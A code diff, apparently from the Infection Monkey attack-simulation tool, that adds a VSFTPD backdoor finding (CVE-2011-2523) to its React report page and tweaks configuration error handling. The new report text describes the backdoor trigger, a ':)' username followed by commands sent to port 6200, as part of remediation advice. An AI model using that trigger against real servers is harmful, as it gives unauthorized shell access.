headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
}).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
}));
};
importConfig = (event) => { importConfig = (event) => {
let reader = new FileReader(); let reader = new FileReader();
reader.onload = this.onReadFile; reader.onload = this.onReadFile;
@ -402,13 +410,12 @@ class ConfigurePageComponent extends AuthComponent {
} }
static getFullPBAfile(filename){ static getFullPBAfile(filename){
let pbaFile = [{ return [{
source: filename, source: filename,
options: { options: {
type: 'limbo' type: 'limbo'
} }
}]; }];
return pbaFile
} }
static getMockPBAfile(mockFile){ static getMockPBAfile(mockFile){
@ -536,7 +543,7 @@ class ConfigurePageComponent extends AuthComponent {
{ this.state.lastAction === 'invalid_configuration' ? { this.state.lastAction === 'invalid_configuration' ?
<div className="alert alert-danger"> <div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/> <i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
An invalid configuration file was imported and submitted, probably outdated. An invalid configuration file was imported or submitted.
</div> </div>
: ''} : ''}
{ this.state.lastAction === 'import_success' ? { this.state.lastAction === 'import_success' ?

View File

@ -31,7 +31,8 @@ class ReportPageComponent extends AuthComponent {
WEBLOGIC: 9, WEBLOGIC: 9,
HADOOP: 10, HADOOP: 10,
PTH_CRIT_SERVICES_ACCESS: 11, PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12 MSSQL: 12,
VSFTPD: 13
}; };
Warning = Warning =
@ -298,20 +299,24 @@ class ReportPageComponent extends AuthComponent {
return x === true; return x === true;
}).length > 0 ? }).length > 0 ?
<div> <div>
During this simulated attack the Monkey uncovered <span During this simulated attack the Monkey uncovered <span
className="label label-warning"> className="label label-warning">
{this.state.report.overview.issues.filter(function (x) { {this.state.report.overview.issues.filter(function (x) {
return x === true; return x === true;
}).length} threats</span>: }).length} threats</span>:
<ul> <ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null } <li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ? {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null} <li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ? {this.state.report.overview.issues[this.Issue.ELASTIC] ?
<li>Elasticsearch servers are vulnerable to <a <li>Elasticsearch servers are vulnerable to <a
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>. href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
</li> : null} </li> : null}
{this.state.report.overview.issues[this.Issue.VSFTPD] ?
<li>VSFTPD is vulnerable to <a
href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
</li> : null}
{this.state.report.overview.issues[this.Issue.SAMBACRY] ? {this.state.report.overview.issues[this.Issue.SAMBACRY] ?
<li>Samba servers are vulnerable to SambaCry (<a <li>Samba servers are vulnerable to SambaCry (<a
href="https://www.samba.org/samba/security/CVE-2017-7494.html" href="https://www.samba.org/samba/security/CVE-2017-7494.html"
@ -422,6 +427,7 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateReportGlanceSection() { generateReportGlanceSection() {
let exploitPercentage = let exploitPercentage =
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
@ -681,6 +687,28 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateVsftpdBackdoorIssue(issue) {
return (
<li>
Update your VSFTPD server to the latest version vsftpd-3.0.3.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span
className="label label-danger">6200</span>.
<br/>
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
<br/><br/>
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
<br/><br/>Read more about the security issue and remediation <a
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateElasticIssue(issue) { generateElasticIssue(issue) {
return ( return (
<li> <li>
@ -896,6 +924,9 @@ generateMSSQLIssue(issue) {
generateIssue = (issue) => { generateIssue = (issue) => {
let data; let data;
switch (issue.type) { switch (issue.type) {
case 'vsftp':
data = this.generateVsftpdBackdoorIssue(issue);
break;
case 'smb_password': case 'smb_password':
data = this.generateSmbPasswordIssue(issue); data = this.generateSmbPasswordIssue(issue);
break; break;